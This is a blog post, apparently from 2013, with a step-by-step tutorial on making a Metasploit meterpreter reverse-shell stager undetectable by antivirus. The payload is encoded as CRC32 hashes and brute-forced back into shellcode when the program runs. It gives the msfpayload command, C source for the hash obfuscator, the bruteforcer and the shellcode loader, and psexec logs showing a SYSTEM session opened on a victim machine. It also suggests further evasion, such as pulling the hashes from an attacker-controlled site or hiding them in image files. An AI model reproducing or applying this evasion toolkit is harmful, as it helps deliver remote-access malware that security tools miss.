Hash encapsulation to bypass AV

The previous entry was about lowering detection rates on AV by just simply recompiling and/or optimizing the source. This worked pretty well except for the really known tools like meterpreter. So let’s continue where we left off and make a undetectable executable for psexec purposes. First thing I did was the most obvious thing of course, I followed the shellcodeexec instructions and generated a metasploit alpha-numeric shellcode. Then I adjusted the source of shellcodeexec to incorporate the shellcode instead of passing it as an argument. This however failed miserably and the detection ratio was higher then 6/46. Then it hit me: I had lowered the detection rate on the ‘stage’ part and NOT on the ‘stager’ part. So that means we have to make some more executable code undetected, this time we’ll put a little bit more of effort into it:

FUD

Now that looks pretty sweet doesn’t it? 0/46 seems this time we don’t have to be happy with just lowering the detection rate, we have fully evaded it. Let’s have a look at how we can do this:

The concept of “self brute forcing” was used, but instead of using a cipher like AES, I used hashes. Normally you encrypt the entire payload with a weak key and then upon execution you brute force the key, hyperion is an example of this technique.  It’s pretty bulky still since the entire payload is just one big blob.  So I thought why only brute force the key and not the entire payload? So I modified the already undetected shellcodeexec to contain only hashes of the meterpreter payload. This way it’s a single executable that you can use for all kind of stuff. Don’t forget however that it’s still staged, so with this we are making the ‘stager’ part fully undetectable, but not the actual stage. If you need just one exe without stages have a look at ultimet.

Let’s generate the shellcode that is being detected:

cd /opt/metasploit-4.5.0/app
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=10.50.0.103 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Which looks like this:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2[…]

That doesn’t look to hard to obfuscate does it? Let’s go at it one step at the time. First we decide what hashing algorithm we want to use. For the POC implementation I went with CRC32 which is fast and the code is small. Then you have to decide how much data you want to brute force, the more data you brute force the longer it takes. So I went for a 3 character brute force. Now that we know all this we can get hands-on and build the obfuscator and then implement the bruteforcer into shellcodeexec. The obfuscator looks like this:

void genhashes(char *s,int len,int steps){
	int i,j;
	char *data = (char *)malloc(steps);
	memset(data,0,steps);

	printf("\n");
	for(i=0;i<len;i+=steps){
		for(j=0;j<steps;j++){
			data[j] = s[i+j];
		}
		printf("%u,",crc32(&data[0],strlen(data)));
	}
	free(data);
}

Like you can see it loops through the string and hashes per the given amount of characters, which are outputted in C array friendly format. So now your payload looks like this:

4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,919810150,[…]

So now that we have the obfuscated payload, let’s build the bruteforcer. First I had hardcoded the for loops, then I did recursive, then i did for loops, then I went back to fully hardcoding all the for loops. Why you ask? Well because of AV detection, since I wrote in the previous blog post about recompiling and having the compiler optimize it. I thought the more code the better :). Because when AV detects something it’s always easier to evade detection when there are enough instructions around then when you just have a few. So in the future this will (hopefully) make it easier to evade AV.

void getplain(uint32_t target,char *result){
	char s[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	char data[5];
	int i,j,k;

	memset(data,0,5);

	for(i=0;i<62;i++) {
		data[0] = s[i];
		if(target == crc32(&data[0],strlen(data))){
			strcat_s(result,1023,data);
		}
		memset(data,0,4);
		for(j=0;j<62;j++) {
			data[0] = s[i];
			data[1] = s[j];
			if(target == crc32(&data[0],strlen(data))){
				strcat_s(result,1023,data);
			}
			memset(data,0,4);
			for(k=0;k<62;k++) {
				data[0] = s[i];
				data[1] = s[j];
				data[2] = s[k];
				if(target == crc32(&data[0],strlen(data))){
					strcat_s(result,1023,data);
				}
				memset(data,0,4);
			}
		}
	}
}

Our last step it to incorporate the bruteforcer into shellcodeexec which roughly looks like this(payload has been truncated for readability):

int main(int argc, char *argv[])
{
	/*if (argc < 2) {
		printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
		exit(-1);
	}*/
	char *temp = (char *)malloc(1024);
	int i,psize;
	uint32_t payload[] = {4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,[...]};

	memset(temp,0,1024);
	psize = sizeof(payload)/sizeof(payload[0]);
	make_crc_table();
	for(i=0;i<psize;i++){
		getplain(payload[i],temp);
	}
	sys_bineval(temp);

	exit(0);
}

Now all that’s left is to test it all:

msf exploit(psexec) > exploit

[*] Started reverse handler on 10.50.0.103:4444
[*] Connecting to the server…
[*] Authenticating to 10.50.0.104:445|WORKGROUP as user ‘Administrator’…
[*] Uploading payload…
[*] Using custom executable /tmp/custom.exe, RHOST and RPORT settings will be ignored!
[*] Created \DtJhDjMe.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (CFvtEVBX – “MdWxLNcKsDVbzevOlC”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Sending stage (762880 bytes) to 10.50.0.104
[*] Meterpreter session 11 opened (10.50.0.103:4444 -> 10.50.0.104:49264) at 2013-01-20 18:06:23 +0100
[-] Error: Stream #<Socket:0xdf58a18> is closed.
msf exploit(psexec) >

Uhh what just happened? It seems that something caused our socket to close, since we are lazy people let’s workaround it instead of debugging it. Let’s go for the easy solution and use a meterpreter script to immediately migrate to another process:

msf exploit(psexec) > exploit

[*] Started reverse handler on 10.50.0.103:4444
[*] Connecting to the server…
[*] Authenticating to 10.50.0.104:445|WORKGROUP as user ‘Administrator’…
[*] Uploading payload…
[*] Using custom executable /tmp/custom.exe, RHOST and RPORT settings will be ignored!
[*] Created \DtJhDjMe.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (CFvtEVBX – “MdWxLNcKsDVbzevOlC”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Sending stage (762880 bytes) to 10.50.0.104
[*] Meterpreter session 11 opened (10.50.0.103:4444 -> 10.50.0.104:49264) at 2013-01-20 18:06:23 +0100
[-] Error: Stream #<Socket:0xdf58a18> is closed.
msf exploit(psexec) >
[*] Session ID 11 (10.50.0.103:4444 -> 10.50.0.104:49264) processing AutoRunScript ‘/opt/metasploit-4.5.0/apps/pro/msf3/scripts/meterpreter/migrate.rb -f’
[*] Current server process: DtJhDjMe.exe (3200)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1176
[+] Successfully migrated to process

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
— —- ———– ———-
11 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ VICTIM-PC 10.50.0.103:4444 -> 10.50.0.104:49264 (10.50.0.104)

Well that works as planned and our AV hasn’t seen a thing. So this is all it takes to evade an AV. In case you are wondering I used Microsoft Security Essentials since it was one of the few that actually kept detecting the payload when I tried out minor modifications or encodings. I also tried McAfee Antivirus Plus (trial) but that was a no go, since it didn’t even detect the freshly compiled metsrv.dll.

NOTE: This works fine with hashing per 3bytes, when doing 4bytes the service creation gives a timeout. So you’ll either have to add some service handling code to make sure you don’t get killed halfway the execution or maybe try it out with threads. You could also just spawn a normal cmd.exe for yourself and then execute they payload, you’ll have to use the multi/handler to handle the connect.

Eventually AV will detect this since a lot of the code that performs loops is immediately at the start of the application. The fun part is that since it are all hashes that need to be cracked individually you can spread them out. For example you could build something along these lines:

  • replace crc32 with md5 (note: will be SLOW)
  • Search for files in user home directory
  • Request the google website
  • crack 10% of the hashes
  • Request the timestamp of all the files you have previously found
  • crack 25% of the hashes
  • create a few dummy windows which are invisible to the user
  • crack the remaining 65% of the hashes

Additionally it’s not mandatory that all the hashes are placed in the same array so the dummy calls to the internet could also be useful calls to a website you control and retrieve the hashes from there. You could also put a few hashes hidden in a JPG resource file. The possibilities are endless, use your imagination. I think this method can also be used to make executables (with no source available) undetected, but I haven’t looked into it yet.

I’d like to thank a friendly bystander on IM for listening to all my whining and helping out with the general idea. You can find the hash generator and the hash reverser on my github as usual.

References

http://www.offensive-security.com/metasploit-unleashed/About_Meterpreter

[UltiMet]

http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html

http://www.offensive-security.com/metasploit-unleashed/About_Meterpreter

http://blog.invisibledenizen.org/2008/12/automatic-migration-to-new-process-with.html

3 thoughts on “Hash encapsulation to bypass AV”

  1. I don’t understand what you mean? If you have a specific question I’ll try to answer it.

    I don’t do video tutorials, since I dislike them myself. They take away the ability to ctrl+f for what you want etc.

  2. Bro the truth is not understood, you can make a video tutorial, in which language is done ? ..Please help me

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.